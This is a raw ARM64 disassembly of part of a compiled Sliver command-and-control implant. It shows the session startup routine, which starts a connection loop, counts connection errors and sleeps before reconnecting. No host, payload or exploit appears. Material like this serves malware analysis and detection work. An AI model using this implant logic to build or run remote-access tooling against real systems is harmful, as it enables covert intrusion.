    0050f4a8movz x0, 19
    0050f4acbl log.SetFlags
    0050f4b0stp xzr, xzr, [sp+48]
    0050f4b4b 0x50f4b8
    0050f4b8
    0050f4b8loc_50f4b8:
    0050f4b8stp xzr, xzr, [sp+96]
    0050f4bcadd x2, sp, 96
    0050f4c0str x2, [sp+64]
    0050f4c4adrp x27, 0x4fe000
    0050f4c8ldr x0, [x27+2528]
    0050f4ccadrp x27, 0x4fe000
    0050f4d0ldr x1, [x27+2536]
    0050f4d4bl runtime.convTstring
    0050f4d8str x0, [sp+112]
    0050f4dcldr x2, [sp+64]
    0050f4e0ldrsb x27, [x2]
    0050f4e4adrp x3, 0xe6000
    0050f4e8add x3, x3, 2944
    0050f4ecstr x3, [x2]
    0050f4f0adrp x27, 0x53c000
    0050f4f4ldr w3, [x27+3056]
    0050f4f8cbz w3, 0x50f500
    0050f4fcb 0x50f504
    0050f500
    0050f500loc_50f500:
    0050f500b 0x50f518
    0050f504
    0050f504loc_50f504:
    0050f504bl runtime.gcWriteBarrier2
    0050f508str x0, [x25]
    0050f50cldr x5, [x2+8]
    0050f510str x5, [x25+8]
    0050f514b 0x50f518
    0050f518
    0050f518loc_50f518:
    0050f518str x0, [x2+8]
    0050f51cldr x2, [sp+64]
    0050f520ldrsb x27, [x2]
    0050f524b 0x50f528
    0050f528
    0050f528loc_50f528:
    0050f528str x2, [sp+72]
    0050f52corr x4, xzr, 1
    0050f530str x4, [sp+80]
    0050f534str x4, [sp+88]
    0050f538adrp x0, 0x1a6000
    0050f53cadd x0, x0, 3713
    0050f540movz x1, 19
    0050f544mov x3, x4
    0050f548bl log.Printf
    0050f54cbl github.com/bishopfox/sliver/implant/sliver/limits.ExecLimits
    0050f550bl main.sessionStartup
    0050f554ldur x29, [sp-8]
    0050f558ldr x30, [sp], 128
    0050f55cret x30
    0050f560
    0050f560loc_50f560:
    0050f560mov x3, x30
    0050f564bl runtime.morestack_noctxt.abi0
    0050f568b 0x50f490
    0050f56cudf 0
    0050f490
    0050f570
    0050f570main.sessionStartup: ; void main.sessionStartup(void)
    0050f570ldr x16, [x28+16]
    0050f574sub x17, sp, 144
    0050f578subs xzr, x17, x16
    0050f57cb.ls 0x50f7ec
    0050f580sub x20, sp, 272
    0050f584stp x29, x30, [x20-8]
    0050f588add sp, x20, 0
    0050f58csub x29, sp, 8
    0050f590adrp x0, 0x1a9000
    0050f594add x0, x0, 616
    0050f598movz x1, 23
    0050f59cmov x2, xzr
    0050f5a0mov x3, xzr
    0050f5a4mov x4, x3
    0050f5a8bl log.Printf
    0050f5acadrp x0, 0xe7000
    0050f5b0add x0, x0, 4032
    0050f5b4mov x1, xzr
    0050f5b8bl runtime.makechan
    0050f5bcstr x0, [sp+160]
    0050f5c0stp xzr, xzr, [sp+168]
    0050f5c4add x5, sp, 168
    0050f5c8str x5, [sp+184]
    0050f5ccldrsb x27, [x5]
    0050f5d0adrp x6, 0
    0050f5d4add x6, x6, 2048
    0050f5d8str x6, [x5]
    0050f5dcldrsb x27, [x5]
    0050f5e0ldr x6, [sp+160]
    0050f5e4adrp x27, 0x53c000
    0050f5e8ldr w7, [x27+3056]
    0050f5eccbz w7, 0x50f5f4
    0050f5f0b 0x50f5f8
    0050f5f4
    0050f5f4loc_50f5f4:
    0050f5f4b 0x50f60c
    0050f5f8
    0050f5f8loc_50f5f8:
    0050f5f8bl runtime.gcWriteBarrier2
    0050f5fcstr x6, [x25]
    0050f600ldr x1, [x5+8]
    0050f604str x1, [x25+8]
    0050f608b 0x50f60c
    0050f60c
    0050f60cloc_50f60c:
    0050f60cstr x6, [x5+8]
    0050f610str x5, [sp+104]
    0050f614add x0, sp, 80
    0050f618bl runtime.deferprocStack
    0050f61csubs xzr, x0, 0
    0050f620b.ne 0x50f64c
    0050f624b 0x50f628
    0050f628
    0050f628loc_50f628:
    0050f628ldr x0, [sp+160]
    0050f62cmov x1, xzr
    0050f630mov x2, xzr
    0050f634mov x3, x2
    0050f638bl github.com/bishopfox/sliver/implant/sliver/transports.StartConnectionLoop
    0050f63cstr x0, [sp+144]
    0050f640str x0, [sp+208]
    0050f644str xzr, [sp+256]
    0050f648b 0x50f65c
    0050f64c
    0050f64cloc_50f64c:
    0050f64cbl runtime.deferreturn
    0050f650ldp x29, x30, [sp-8]
    0050f654add sp, sp, 272
    0050f658ret x30
    0050f65c
    0050f65cloc_50f65c:
    0050f65cldr x0, [sp+208]
    0050f660add x1, sp, 256
    0050f664bl runtime.chanrecv2
    0050f668strb w0, [sp+63]
    0050f66ctbnz w0, 0, 0x50f674
    0050f670b 0x50f7dc
    0050f674
    0050f674loc_50f674:
    0050f674ldr x1, [sp+256]
    0050f678str x1, [sp+152]
    0050f67cstr xzr, [sp+256]
    0050f680ldr x1, [sp+152]
    0050f684cbnz x1, 0x50f68c
    0050f688b 0x50f738
    0050f68c
    0050f68cloc_50f68c:
    0050f68cldr x0, [sp+152]
    0050f690bl main.sessionMainLoop
    0050f694str x0, [sp+128]
    0050f698str x1, [sp+136]
    0050f69ccbnz x0, 0x50f6a4
    0050f6a0b 0x50f730
    0050f6a4
    0050f6a4loc_50f6a4:
    0050f6a4adrp x27, 0x512000
    0050f6a8ldr x3, [x27+1008]
    0050f6acsubs xzr, x0, x3
    0050f6b0b.eq 0x50f6b8
    0050f6b4b 0x50f6e8
    0050f6b8
    0050f6b8loc_50f6b8:
    0050f6b8adrp x27, 0x512000
    0050f6bcldr x2, [x27+1016]
    0050f6c0bl runtime.ifaceeq
    0050f6c4tbnz w0, 0, 0x50f6cc
    0050f6c8b 0x50f6e4
    0050f6cc
    0050f6ccloc_50f6cc:
    0050f6ccldr x0, [sp+152]
    0050f6d0bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).Cleanup
    0050f6d4bl runtime.deferreturn
    0050f6d8ldp x29, x30, [sp-8]
    0050f6dcadd sp, sp, 272
    0050f6e0ret x30
    0050f6e4
    0050f6e4loc_50f6e4:
    0050f6e4b 0x50f6ec
    0050f6e8
    0050f6e8loc_50f6e8:
    0050f6e8b 0x50f6ec
    0050f6ec
    0050f6ecloc_50f6ec:
    0050f6ecadrp x27, 0x53c000
    0050f6f0ldr x0, [x27+1728]
    0050f6f4add x0, x0, 1
    0050f6f8adrp x27, 0x53c000
    0050f6fcstr x0, [x27+1728]
    0050f700bl github.com/bishopfox/sliver/implant/sliver/transports.GetMaxConnectionErrors
    0050f704str x0, [sp+72]
    0050f708adrp x27, 0x53c000
    0050f70cldr x1, [x27+1728]
    0050f710subs xzr, x0, x1
    0050f714b.lt 0x50f71c
    0050f718b 0x50f72c
    0050f71c
    0050f71cloc_50f71c:
    0050f71cbl runtime.deferreturn
    0050f720ldp x29, x30, [sp-8]
    0050f724add sp, sp, 272
    0050f728ret x30
    0050f72c
    0050f72cloc_50f72c:
    0050f72cb 0x50f734
    0050f730
    0050f730loc_50f730:
    0050f730b 0x50f734
    0050f734
    0050f734loc_50f734:
    0050f734b 0x50f73c
    0050f738
    0050f738loc_50f738:
    0050f738b 0x50f73c
    0050f73c
    0050f73cloc_50f73c:
    0050f73cbl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
    0050f740str x0, [sp+64]
    0050f744stp xzr, xzr, [sp+192]
    0050f748add x0, sp, 192
    0050f74cstr x0, [sp+224]
    0050f750ldr x0, [sp+64]
    0050f754bl runtime.convT64
    0050f758str x0, [sp+216]
    0050f75cldr x1, [sp+224]
    0050f760ldrsb x27, [x1]
    0050f764adrp x2, 0x16d000
    0050f768add x2, x2, 3104
    0050f76cstr x2, [x1]
    0050f770adrp x27, 0x53c000
    0050f774ldr w2, [x27+3056]
    0050f778cbz w2, 0x50f780
    0050f77cb 0x50f784
    0050f780
    0050f780loc_50f780:
    0050f780b 0x50f798
    0050f784
    0050f784loc_50f784:
    0050f784bl runtime.gcWriteBarrier2
    0050f788str x0, [x25]
    0050f78cldr x5, [x1+8]
    0050f790str x5, [x25+8]
    0050f794b 0x50f798
    0050f798
    0050f798loc_50f798:
    0050f798str x0, [x1+8]
    0050f79cldr x2, [sp+224]
    0050f7a0ldrsb x27, [x2]
    0050f7a4b 0x50f7a8
    0050f7a8
    0050f7a8loc_50f7a8:
    0050f7a8str x2, [sp+232]
    0050f7acorr x4, xzr, 1
    0050f7b0str x4, [sp+240]
    0050f7b4str x4, [sp+248]
    0050f7b8adrp x0, 0x1a6000
    0050f7bcadd x0, x0, 3732
    0050f7c0movz x1, 19
    0050f7c4mov x3, x4
    0050f7c8bl log.Printf
    0050f7ccldr x0, [sp+64]
    0050f7d0bl time.Sleep
    0050f7d4b 0x50f7d8
    0050f7d8
    0050f7d8loc_50f7d8:
    0050f7d8b 0x50f65c
    0050f7dc
    0050f7dcloc_50f7dc:
    0050f7dcbl runtime.deferreturn
    0050f7e0ldp x29, x30, [sp-8]
    0050f7e4add sp, sp, 272
    0050f7e8ret x30
    0050f7ec
    0050f7ecloc_50f7ec:
    0050f7ecmov x3, x30
    0050f7f0bl runtime.morestack_noctxt.abi0
    0050f7f4b 0x50f570
    0050f7f8udf 0
    0050f7fcudf 0
    0050f570
    0050f800
    0050f800main.sessionStartup.func1: ; void main.sessionStartup.func1(void)
    0050f800ldr x16, [x28+16]
    0050f804subs xzr, sp, x16
    0050f808b.ls 0x50f834
    0050f80cstr x30, [sp-48]!
    0050f810stur x29, [sp-8]
    0050f814sub x29, sp, 8
    0050f818ldr x0, [x26+8]
    0050f81cstr x0, [sp+32]
    0050f820add x1, sp, 31
    0050f824bl runtime.chansend1
    0050f828ldur x29, [sp-8]
    0050f82cldr x30, [sp], 48
    0050f830ret x30
    0050f834
    0050f834loc_50f834:
    0050f834mov x3, x30
    0050f838bl runtime.morestack.abi0
    0050f83cb 0x50f800
    0050f800